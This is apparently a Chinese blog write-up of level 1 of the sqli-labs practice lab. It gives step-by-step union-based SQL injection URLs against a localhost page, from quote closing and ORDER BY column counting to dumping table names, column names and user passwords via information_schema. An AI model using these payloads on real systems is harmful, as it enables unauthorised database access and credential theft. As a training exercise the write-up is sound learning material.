sqli-labs-master第一关

本篇是我做完第一题后的一些理解

  首先将我了解的数据库的一些内容说一下

        一个账户可以有多个数据库,每个数据库里可以建多个表,表里用字段来储存信息。

            如图,localhost为本地账户,security等是数据库,security下面的emails等为表格,   

        而右边的id,email_id则为字段,字段下面就是储存的信息。

   做本题要用到的一个重要的数据库为information_schema  

      这个数据库是本来就有的,用来储存其他数据库的信息的,例如其中的tables表格储存了其他数据库的表名

columns就储存了数据库里的字段。

    下面我们来看这一题 

  我们的目的是要用sql注入来获取数据库里的信息

1.在url输入?id=1 ; ?id=\'等等进行测试发现了你输入的内容的位置   '输入的内容' LIMIT 0,1

可猜测后端代码可能是    where id =' 这里是你填入=号后面的内容 'LIMIT 0,1

        所以我们要想用sql注入获取数据库内容 就可以将输入 ' 将内容前面的 ' 闭合,

        再后面加上  %23或# (有些时候#不能用%23即为#的url编码)注释掉后面的 '

         这个   LIMIT 0,1 我查了一下也不太懂,但与做本题并无太大关系;有了解的可以在下留言

        那么在'与%23之间就可以用union语句获取你想要的内容  

         就像 :?id=1' %23 与  ?id=1的效果相同

      关于union的用法大家可以查一下,要注意的是union后面获取的内容条数必须与前面查询的列数相同

2.因此本题的下一步就是获得回显的个数

      http://localhost/sqli-labs-master/Less-1/?id=1' order by 4;%23

    这里的order by 是一个函数方法 就是按照哪一列排序,列数超出就会报错,所以

     我们能用它试出后端返回的数据个数为3。

3,下面就能用union方法获取数据库内容了

   http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,database();%23

id=0则返回空,后面就返回select 1,2,database()的内容,即为1,2,security

security即为database()的返回就是指当前数据库的名字

可题目只显示了2,security   可知只有2与3两个回显位能看到

3.接下来我们就可以利用information_Schema.tables获取security里的表格信息

127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1 ,2,group_concat(table_name) from information_Schema.tables where table_schema='security';%23

   这个group_concat()就是将获取到的内容拼接成字符串输出

接着可以获取users表里的字段

http://127.0.0.1/sqli-labs-master/Less-1/?id=0%27%20union%20select%201,2%20,group_concat(column_name)%20from%20information_schema.columns%20

where%20table_name=%27users%27and%20table_schema%20='security';%23

TIP:%20 为空格 %27为 ' 

(这里用到and查询避免users表格不只存在一个数据库里的情况)

然后就得到users里的字段为id,username,password

4.最后我们就可以根据字段名获取数据

http://127.0.0.1/sqli-labs-master/Less-1/?id=0%27%20union%20select%201,group_concat(username)%20,group_concat(password)%20from%20users%20;%23

这样这题就算做完了。

 

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 7
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值